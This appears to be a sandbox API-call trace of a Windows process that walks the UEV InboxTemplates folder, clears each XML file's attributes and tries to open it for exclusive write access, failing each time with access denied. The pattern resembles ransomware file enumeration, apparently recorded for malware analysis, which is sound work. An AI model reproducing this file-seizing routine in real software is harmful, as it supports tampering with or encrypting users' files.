	[0092.351] wcscat (in: _Dest=0x4894e60, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\"
	[0092.351] wcscat (in: _Dest=0x4894e60, _Source="MicrosoftOffice2016Win32.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016Win32.xml") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016Win32.xml"
	[0092.351] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016Win32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2016win32.xml")) returned 0x20
	[0092.351] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016Win32.xml", dwFileAttributes=0x20) returned 0
	[0092.352] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016Win32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2016win32.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0092.352] GetLastError () returned 0x5
	[0092.352] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016Win32.xml", dwFileAttributes=0x20) returned 0
	[0092.352] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4894e60) returned 1
	[0092.352] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x50318b0 | out: lpFindFileData=0x50318b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf841903, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf841903, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x100c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOffice2016Win64.xml", cAlternateFileName="")) returned 1
	[0092.352] wcscmp (_String1="MicrosoftOffice2016Win64.xml", _String2=".") returned 1
	[0092.352] wcscmp (_String1="MicrosoftOffice2016Win64.xml", _String2="..") returned 1
	[0092.352] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x92) returned 0x4894e60
	[0092.352] wcscpy (in: _Dest=0x4894e60, _Source="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates"
	[0092.352] wcscat (in: _Dest=0x4894e60, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\"
	[0092.352] wcscat (in: _Dest=0x4894e60, _Source="MicrosoftOffice2016Win64.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016Win64.xml") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016Win64.xml"
	[0092.352] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016Win64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2016win64.xml")) returned 0x20
	[0092.352] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016Win64.xml", dwFileAttributes=0x20) returned 0
	[0092.352] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016Win64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2016win64.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0092.352] GetLastError () returned 0x5
	[0092.352] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016Win64.xml", dwFileAttributes=0x20) returned 0
	[0092.352] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4894e60) returned 1
	[0092.353] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x50318b0 | out: lpFindFileData=0x50318b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a9be83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a9be83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x506, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOutlook2013CAWin32.xml", cAlternateFileName="")) returned 1
	[0092.353] wcscmp (_String1="MicrosoftOutlook2013CAWin32.xml", _String2=".") returned 1
	[0092.353] wcscmp (_String1="MicrosoftOutlook2013CAWin32.xml", _String2="..") returned 1
	[0092.353] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x98) returned 0x4895360
	[0092.353] wcscpy (in: _Dest=0x4895360, _Source="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates"
	[0092.353] wcscat (in: _Dest=0x4895360, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\"
	[0092.353] wcscat (in: _Dest=0x4895360, _Source="MicrosoftOutlook2013CAWin32.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin32.xml") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin32.xml"
	[0092.353] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2013cawin32.xml")) returned 0x20
	[0092.353] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin32.xml", dwFileAttributes=0x20) returned 0
	[0092.353] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2013cawin32.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0092.353] GetLastError () returned 0x5
	[0092.353] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin32.xml", dwFileAttributes=0x20) returned 0
	[0092.353] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4895360) returned 1
	[0092.353] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x50318b0 | out: lpFindFileData=0x50318b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a9be83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a9be83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x506, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOutlook2013CAWin64.xml", cAlternateFileName="")) returned 1
	[0092.353] wcscmp (_String1="MicrosoftOutlook2013CAWin64.xml", _String2=".") returned 1
	[0092.353] wcscmp (_String1="MicrosoftOutlook2013CAWin64.xml", _String2="..") returned 1
	[0092.353] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x98) returned 0x4894e60
	[0092.353] wcscpy (in: _Dest=0x4894e60, _Source="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates"
	[0092.353] wcscat (in: _Dest=0x4894e60, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\"
	[0092.353] wcscat (in: _Dest=0x4894e60, _Source="MicrosoftOutlook2013CAWin64.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin64.xml") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin64.xml"
	[0092.353] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2013cawin64.xml")) returned 0x20
	[0092.355] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin64.xml", dwFileAttributes=0x20) returned 0
	[0092.355] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2013cawin64.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0092.355] GetLastError () returned 0x5
	[0092.355] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin64.xml", dwFileAttributes=0x20) returned 0
	[0092.356] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4894e60) returned 1
	[0092.356] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x50318b0 | out: lpFindFileData=0x50318b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a9be83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a9be83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x509, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOutlook2016CAWin32.xml", cAlternateFileName="")) returned 1
	[0092.356] wcscmp (_String1="MicrosoftOutlook2016CAWin32.xml", _String2=".") returned 1
	[0092.356] wcscmp (_String1="MicrosoftOutlook2016CAWin32.xml", _String2="..") returned 1
	[0092.356] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x98) returned 0x4894f00
	[0092.356] wcscpy (in: _Dest=0x4894f00, _Source="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates"
	[0092.356] wcscat (in: _Dest=0x4894f00, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\"
	[0092.356] wcscat (in: _Dest=0x4894f00, _Source="MicrosoftOutlook2016CAWin32.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin32.xml") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin32.xml"
	[0092.356] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2016cawin32.xml")) returned 0x20
	[0092.356] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin32.xml", dwFileAttributes=0x20) returned 0
	[0092.356] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2016cawin32.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0092.356] GetLastError () returned 0x5
	[0092.356] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin32.xml", dwFileAttributes=0x20) returned 0
	[0092.356] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4894f00) returned 1
	[0092.356] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x50318b0 | out: lpFindFileData=0x50318b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a9be83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a9be83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x509, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOutlook2016CAWin64.xml", cAlternateFileName="")) returned 1
	[0092.356] wcscmp (_String1="MicrosoftOutlook2016CAWin64.xml", _String2=".") returned 1
	[0092.356] wcscmp (_String1="MicrosoftOutlook2016CAWin64.xml", _String2="..") returned 1
	[0092.356] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x98) returned 0x4895400
	[0092.356] wcscpy (in: _Dest=0x4895400, _Source="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates"
	[0092.356] wcscat (in: _Dest=0x4895400, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\"
	[0092.356] wcscat (in: _Dest=0x4895400, _Source="MicrosoftOutlook2016CAWin64.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin64.xml") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin64.xml"
	[0092.357] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2016cawin64.xml")) returned 0x20
	[0092.357] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin64.xml", dwFileAttributes=0x20) returned 0
	[0092.357] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2016cawin64.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0092.357] GetLastError () returned 0x5
	[0092.357] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin64.xml", dwFileAttributes=0x20) returned 0
	[0092.357] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4895400) returned 1
	[0092.357] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x50318b0 | out: lpFindFileData=0x50318b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79ac20de, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79ac20de, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79ac20de, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb4b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftSkypeForBusiness2016Win32.xml", cAlternateFileName="")) returned 1
	[0092.357] wcscmp (_String1="MicrosoftSkypeForBusiness2016Win32.xml", _String2=".") returned 1
	[0092.357] wcscmp (_String1="MicrosoftSkypeForBusiness2016Win32.xml", _String2="..") returned 1
	[0092.357] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa6) returned 0x2d61580
	[0092.357] wcscpy (in: _Dest=0x2d61580, _Source="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates"
	[0092.357] wcscat (in: _Dest=0x2d61580, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\"
	[0092.357] wcscat (in: _Dest=0x2d61580, _Source="MicrosoftSkypeForBusiness2016Win32.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win32.xml") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win32.xml"
	[0092.357] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftskypeforbusiness2016win32.xml")) returned 0x20
	[0092.358] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win32.xml", dwFileAttributes=0x20) returned 0
	[0092.358] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftskypeforbusiness2016win32.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0092.358] GetLastError () returned 0x5
	[0092.358] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win32.xml", dwFileAttributes=0x20) returned 0
	[0092.358] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d61580) returned 1
	[0092.358] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x50318b0 | out: lpFindFileData=0x50318b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79ac20de, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79ac20de, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79ac20de, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb4b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftSkypeForBusiness2016Win64.xml", cAlternateFileName="")) returned 1
	[0092.358] wcscmp (_String1="MicrosoftSkypeForBusiness2016Win64.xml", _String2=".") returned 1
	[0092.358] wcscmp (_String1="MicrosoftSkypeForBusiness2016Win64.xml", _String2="..") returned 1
	[0092.358] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa6) returned 0x2d61d10
	[0092.358] wcscpy (in: _Dest=0x2d61d10, _Source="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates"
	[0092.358] wcscat (in: _Dest=0x2d61d10, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\"
	[0092.358] wcscat (in: _Dest=0x2d61d10, _Source="MicrosoftSkypeForBusiness2016Win64.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win64.xml") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win64.xml"
	[0092.358] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftskypeforbusiness2016win64.xml")) returned 0x20
	[0092.362] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win64.xml", dwFileAttributes=0x20) returned 0
	[0092.362] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftskypeforbusiness2016win64.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0092.363] GetLastError () returned 0x5
	[0092.363] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win64.xml", dwFileAttributes=0x20) returned 0
	[0092.363] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d61d10) returned 1
	[0092.363] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x50318b0 | out: lpFindFileData=0x50318b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79ac20de, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79ac20de, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79ac20de, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftWordpad.xml", cAlternateFileName="")) returned 1
	[0092.363] wcscmp (_String1="MicrosoftWordpad.xml", _String2=".") returned 1
	[0092.363] wcscmp (_String1="MicrosoftWordpad.xml", _String2="..") returned 1
	[0092.363] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x82) returned 0x476d978
	[0092.363] wcscpy (in: _Dest=0x476d978, _Source="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates"
	[0092.363] wcscat (in: _Dest=0x476d978, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\"
	[0092.363] wcscat (in: _Dest=0x476d978, _Source="MicrosoftWordpad.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftWordpad.xml") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftWordpad.xml"
	[0092.363] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftWordpad.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftwordpad.xml")) returned 0x20
	[0092.363] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftWordpad.xml", dwFileAttributes=0x20) returned 0
	[0092.363] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftWordpad.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftwordpad.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0092.363] GetLastError () returned 0x5
	[0092.363] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftWordpad.xml", dwFileAttributes=0x20) returned 0
	[0092.363] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476d978) returned 1
	[0092.363] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x50318b0 | out: lpFindFileData=0x50318b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a75c14, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a75c14, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x85f, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetworkPrinters.xml", cAlternateFileName="")) returned 1
	[0092.364] wcscmp (_String1="NetworkPrinters.xml", _String2=".") returned 1
	[0092.364] wcscmp (_String1="NetworkPrinters.xml", _String2="..") returned 1
	[0092.364] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x80) returned 0x498e010
	[0092.364] wcscpy (in: _Dest=0x498e010, _Source="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates"
	[0092.364] wcscat (in: _Dest=0x498e010, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\"
	[0092.364] wcscat (in: _Dest=0x498e010, _Source="NetworkPrinters.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\NetworkPrinters.xml") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\NetworkPrinters.xml"
	[0092.364] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\NetworkPrinters.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\networkprinters.xml")) returned 0x20
	[0092.367] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\NetworkPrinters.xml", dwFileAttributes=0x20) returned 0
	[0092.368] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\NetworkPrinters.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\networkprinters.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0092.368] GetLastError () returned 0x5
	[0092.368] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\NetworkPrinters.xml", dwFileAttributes=0x20) returned 0
	[0092.368] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x498e010) returned 1
	[0092.368] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x50318b0 | out: lpFindFileData=0x50318b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a75c14, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a75c14, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RoamingCredentialSettings.xml", cAlternateFileName="")) returned 1
	[0092.368] wcscmp (_String1="RoamingCredentialSettings.xml", _String2=".") returned 1
	[0092.368] wcscmp (_String1="RoamingCredentialSettings.xml", _String2="..") returned 1
	[0092.368] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x94) returned 0x4895360
